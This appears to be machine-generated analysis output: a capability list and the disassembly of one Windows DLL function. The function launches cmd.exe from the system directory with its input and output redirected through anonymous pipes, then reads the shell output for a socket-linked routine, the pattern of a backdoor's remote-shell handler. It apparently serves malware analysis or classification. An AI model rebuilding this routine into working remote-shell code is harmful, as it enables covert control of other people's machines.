Function at 0x18002be84
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Get common file path
Read file on windows
Read pipe
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rsi, qword [0x180050ad0]
xor edi, edi
xor edx, edx
mov rcx, rsi
mov r8d, 0x800c
mov qword [rsp + 0x70], rdi
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rdi
mov qword [rsp + 0x50], rdi
mov dword [rbp + 0x258], edi
call fcn.18002ed60
mov rcx, qword [0x180050ae8]
test rcx, rcx
je 0x18002bf22
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x180050ae8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180050af8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180050af0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x180050af0], rdi
mov qword [0x180050af8], rdi
mov qword [0x180050ae8], rdi
xor eax, eax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x260]
xor r9d, r9d
mov dword [rbp - 0x70], 0x18
mov dword [rbp - 0x60], 1
mov qword [rbp - 0x68], rdi
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x18002bf6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18002c0dc
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x268]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x18002bf5f
xor eax, eax
lea rcx, [rbp - 0x50]
xor edx, edx
lea r8d, [rax + 0x68]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
call fcn.18002ed60
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp + 0x268]
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
mov rax, qword [rsp + 0x50]
xor edx, edx
mov r8d, 0x208
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov word [rbp - 0x10], di
mov dword [rsp + 0x58], 0x63005c
mov dword [rsp + 0x5c], 0x64006d
mov dword [rsp + 0x60], 0x65002e
mov dword [rsp + 0x64], 0x650078
mov word [rsp + 0x68], di
call fcn.18002ed60
lea rcx, [rbp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rax, [rsp + 0x78]
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18002bf5f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x260]
lea r9, [rbp + 0x258]
lea rdx, [rsi + 0xc]
mov r8d, 0x7ff6
mov qword [rsp + 0x28], rdi
mov dword [rbp + 0x258], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18002c0da
cmp dword [rbp + 0x258], edi
jbe 0x18002c0da
mov rcx, qword [rbp + 0x260]
lea r9, [rbp + 0x258]
lea rdx, [rsi + 0xc]
mov r8d, 0x7ff6
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, edi
test ebx, ebx
je 0x18002c134
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18002c17c
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x260]
mov qword [0x180050af8], rax
mov rax, qword [rsp + 0x70]
mov qword [0x180050af0], rax
mov rax, qword [rsp + 0x78]
mov qword [0x180050ae8], rax
test ebx, ebx
je 0x18002c195
mov r9d, 1
mov r8d, ebx
mov cl, reloc.WS2_32.dll_recv
mov dl, r9b
call fcn.18002c9c4
jmp 0x18002c1cd
mov ebx, dword [rbp + 0x258]
xor eax, eax
mov rcx, rsi
mov qword [rsi], rax
lea edx, [rax + 0xc]
mov qword [rsi + 4], 0x110
mov dword [rsi], ebx
call fcn.18002c29c
lea edx, [rbx + 0xc]
mov rcx, rsi
mov word [rsi + 0xa], ax
call fcn.18002e5b0
test eax, eax
setg dil
lea eax, [rdi - 1]
mov rbx, qword [rsp + 0x350]
add rsp, 0x330
pop rdi
pop rsi
pop rbp
ret